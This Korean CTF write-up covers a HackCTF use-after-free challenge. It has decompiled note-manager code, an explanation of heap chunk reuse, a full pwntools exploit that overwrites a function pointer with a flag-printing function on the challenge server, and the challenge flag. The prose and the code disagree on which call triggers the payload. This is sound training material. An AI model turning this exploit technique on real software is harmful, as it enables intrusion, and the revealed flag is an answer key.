-
UAFCTF/HackCTF 2021. 2. 9. 02:07
Disassembly 디스어셈블리
void main(void) { int32_t num; setvbuf(_reloc.stdout, 0, 2, 0); setvbuf(_reloc.stdin, 0, 2, 0); do { menu(); read(0, auStack24, 4); num = atoi(auStack24); switch(num) { default: puts("유효하지 않는 값입니다."); break; case 1: add_note(); break; case 2: del_note(); break; case 3: print_note(); break; case 4: exit(0); } } while( true ); }
main은 다음에 실행할 명령을 입력받는다.
void add_note(void) { undefined4 addr; undefined4 size; char *str; if (_count < 6) { for (int i = 0 ; i < 5 ; i++) { if (notelist[i] != 0) continue; addr = malloc(0x8); notelist[i] = addr; if (addr == 0) { puts("Allocate 에러"); exit(-1); } *notelist[i] = print_note_content; printf("노트 크기 :"); read(0, &str, 8); size = atoi(&str); addr = malloc(size); *(notelist[i] + 4) = addr; if (addr == 0) { puts("Allocate 에러"); exit(-1); } printf("내용 :"); read(0, addr, size); puts("성공!"); _count = _count + 1; break; } } else { puts("Full"); } return; }
add_note는 힙을 할당받아 그 주소를 notelist[i]에 저장하고, 새로운 힙을 다시 할당받아 데이터를 입력받는다. 처음에 할당받은 힙은 print_note_content와 데이터가 들어있는 힙의 주소를 저장하게 된다.
void del_note(void) { int32_t idx; char *str; printf(0x8048bd6); read(0, &str, 4); idx = atoi(&str); if (idx < 0 || _count <= idx) { puts("올바르지 않은 범위입니다!"); _exit(0); } if (notelist[i] != 0) { free(*(notelist[i]+4)); free(notelist[i]); puts("성공!"); } return; }
del_note는 기존에 할당된 힙을 해제한다.
void print_note(void) { int32_t idx; char *str; printf(0x8048bd6); read(0, &str, 4); idx = atoi(&str); if (idx < 0 || _count <= idx) { puts("올바르지 않은 범위입니다!"); _exit(0); } if (notelist[i] != 0) { pcVar1 = *notelist[i]; (*pcVar1)(notelist[i]); } return; } void print_note_content(int32_t arg_8h) { puts(*(arg_8h + 4)); return; }
print_note는 notelist[i]에 저장된 힙에 담겨있던 함수를 실행한다.
Use After Free
void magic(void) { system("cat /home/uaf/flag"); return; }
magic은 flag를 출력하는 함수이다. 따라서 *notelist[i]를 magic의 주소로 덮어쓴 뒤 print_note(i)를 호출하면 flag를 알아낼 수 있다.
add_note를 통해 덮어쓰기 위해서는 *notelist[i]에 힙을 할당받아야 하므로 free된 힙 청크가 크기에 따라 나눠서 관리되는 점을 이용하자.
먼저, add_note(0x8) 이후 del_note(0)을 호출하면 힙 청크는 다음과 같이 보관된다.
이제 두 차례에 걸쳐 힙을 할당받으면 다음과 같은 모습이 될 것이다.
이 상태에서 두 힙을 차례로 해제하면 다음과 같이 보관된다.
이제 add_note(0x8)로 새로운 힙을 할당받으면 notelist[2]에 접근할 수 있다.
마지막으로 del_note(2)을 통해 magic을 호출하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./uaf" # lib = "./libc-2.27.so" server = "ctf.j0n9hyun.xyz" port = 3020 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = gdb.debug([binary], gdbscript = 'b *menu \n continue') e = ELF(binary) r = ROP(e) # l = ELF(lib) e.checksec() def add(size, data): p.sendlineafter(":", str(1)) p.sendlineafter(":", str(size)) p.sendlineafter(":", data) def delete(idx): p.sendlineafter(":", str(2)) p.sendlineafter(":", str(idx)) def print(idx): p.sendlineafter(":", str(3)) p.sendlineafter(":", str(idx)) magic = e.symbols["magic"] add(0x8, "A") delete(0) add(0x28, "A") add(0x28, "A") delete(2) delete(1) add(0x8, p32(magic)) print(2) p.interactive()
Flag
HackCTF{n0w_17'5_71m3_70_h34p_57udy}
'CTF > HackCTF' 카테고리의 다른 글
World Best Encryption Tool (0) 2021.02.09 Beginner_Heap (0) 2021.02.09 j0n9hyun's secret (0) 2021.02.07 SysROP (0) 2021.02.05 Pwning (0) 2021.02.05